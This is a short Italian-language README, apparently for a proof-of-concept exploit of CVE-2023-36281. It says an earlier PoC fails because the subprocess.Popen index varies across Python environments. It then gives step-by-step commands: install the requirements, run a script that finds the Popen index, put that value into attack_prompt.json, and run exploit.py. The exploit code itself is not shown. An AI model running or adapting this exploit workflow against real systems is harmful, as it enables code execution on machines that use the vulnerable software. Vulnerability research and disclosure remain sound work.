
PoC di CVE-2023-36281
PoC di CVE-2023-36281
Ho fatto riferimento a questo PoC. Purtroppo, non funziona perché gli indici di subprocess.Popen sono diversi in ogni ambiente Python. Tuttavia, il mio codice PoC affronta questo problema.
$ pip install -r requirements.txt
$ python get_index_of_subprocess.py
subprcess.Popen index: 309.
Replace target_index in attack_prompt.json with this value.
$ python exploit.py
README.md attack_prompt.json get_index_of_subprocess.py exploit.py requirements.txt